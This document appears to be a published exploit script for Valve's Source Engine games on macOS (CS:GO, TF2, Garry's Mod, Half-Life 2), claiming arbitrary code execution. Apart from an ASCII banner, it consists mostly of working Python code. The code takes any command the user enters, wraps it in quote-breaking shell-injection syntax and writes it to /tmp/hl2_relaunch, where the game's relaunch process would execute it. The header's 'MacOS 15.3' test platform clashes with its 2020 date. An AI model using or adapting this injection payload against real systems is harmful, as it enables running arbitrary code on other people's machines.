Source Engine CS:GO Build 4937372 Arbitrary Code Execution

`# Exploit Title: Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution  
# Date: 2020-04-27  
# Exploit Author: 0xEmma/BugByte/SebastianPC  
# Vendor Homepage: https://www.valvesoftware.com/en/  
# Version: Source Engine, Tested on CS:GO BuildID: 4937372 TF2 BuildID: 4871679 Garry's Mod BuildID: 4803834 Half Life 2 BuildID: 4233302  
# Tested on: MacOS 15.3  
# CVE : N/A  
  
import os, random, sys  
banner = """  
:'######:::'#######::'##::::'##::'######:::'#######::'##:::'##::::'##:::'########:  
'##... ##:'##.... ##: ##:::: ##:'##... ##:'##.... ##: ##::'##:::'####:::... ##..::  
##:::..:: ##'### ##: ##:::: ##: ##:::..::..::::: ##: ##:'##::::.. ##:::::: ##::::  
. ######:: ## ### ##: ##:::: ##: ##::::::::'#######:: #####::::::: ##:::::: ##::::  
:..... ##: ## #####:: ##:::: ##: ##::::::::...... ##: ##. ##:::::: ##:::::: ##::::  
'##::: ##: ##.....::: ##:::: ##: ##::: ##:'##:::: ##: ##:. ##::::: ##:::::: ##::::  
. ######::. #######::. #######::. ######::. #######:: ##::. ##::'######:::: ##::::  
:......::::.......::::.......::::......::::.......:::..::::..:::......:::::..:::::  
"""  
print(banner)  
  
  
if os.name == "posix":  
command = str(input("Code to run? "))  
payload = '"; ' + command + '; echo "'  
f = open("/tmp/hl2_relaunch", "w")  
  
f.write(payload)  
f.close()  
  
if os.name == "nt":  
print("Windows based OS's not supported, see CVE-2020-12242")  
`